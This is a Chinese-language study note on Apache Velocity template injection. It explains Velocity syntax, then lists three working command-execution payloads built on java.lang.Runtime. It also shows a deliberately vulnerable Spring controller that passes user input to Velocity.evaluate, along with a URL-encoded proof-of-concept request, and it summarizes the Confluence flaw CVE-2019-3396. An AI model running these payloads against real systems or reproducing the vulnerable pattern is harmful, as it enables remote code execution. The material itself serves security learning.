跳转至

Velocity 模板注入

432 个字 63 行代码 预计阅读时间 3 分钟

Apache Velocity 是一个基于 Java 的模板引擎,它提供了一个模板语言去引用由 Java 代码定义的对象,允许 web 页面设计者引用 JAVA 代码预定义的方法

基本语法

标识符

# 用来标识 Velocity 的脚本语句,包括#set#if#else#end#foreach#end#include#parse#macro等语句。

$ 用来标识变量

{} 用来明确标识 Velocity 变量,例如 someone 为变量名,而页面中出现了 $someonename ,需要用 {} 包裹,即 ${someone}name

"!" 用来强制把不存在的变量显示为空白。如:$!msg 将在 msg 不存在时显示为空白,而不是显示 $msg

定义变量

#set($varname = value)

注释

单行注释为##,多行注释以#*开始,以*#结束

条件判断

#if#elseif#else#end

单双引号

单引号不解析引用内容,双引号解析引用内容

#set ($var="aaaaa")
'$var'  ## 结果为:$var
"$var"  ## 结果为:aaaaa

命令执行

// 命令执行1
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

// 命令执行2 
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

// 命令执行3
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end

Velocity 的使用流程

  • 初始化 Velocity 模板引擎,包括模板路径、加载类型等
  • 创建用于存储预传递到模板文件的数据的上下文
  • 选择具体的模板文件,传递数据完成渲染

漏洞复现

java-sec-code

import org.apache.velocity.VelocityContext;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import org.apache.velocity.app.Velocity;

import java.io.StringWriter;

@RestController
@RequestMapping("/ssti")
public class SSTI {

    /**
     * SSTI of Java velocity. The latest Velocity version still has this problem.
     * Fix method: Avoid to use Velocity.evaluate method.
     * <p>
     * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
     * Open a calculator in MacOS.
     *
     * @param template exp
     */
    @GetMapping("/velocity")
    public void velocity(String template) {
        Velocity.init();

        VelocityContext context = new VelocityContext();

        context.put("author", "Elliot A.");
        context.put("address", "217 E Broadway");
        context.put("phone", "555-1337");

        StringWriter swOut = new StringWriter();
        Velocity.evaluate(context, swOut, "test", template);
    }
}

直接利用上面的命令执行 PoC 即可

CVE-2019-3396

Atlassian Confluence 是企业广泛使用的 wiki 系统,其 6.14.2 版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用 Velocity 模板注入执行任意命令。

影响版本

  • <= 6.6.11
  • 6.7.0 -- 6.12.2
  • 6.13.0 -- 6.13.2
  • 6.14.0 -- 6.14.2

Todo

笔记本内存不够复现跑不起来,之后回学校台式机再搞 o.O

参考资料

- CVE-2019-3396 Confluence Velocity SSTI 漏洞浅析 -白头搔更短,SSTI惹人心!


最后更新: 2024年8月7日 16:30:26
创建日期: 2024年8月7日 16:30:26

评论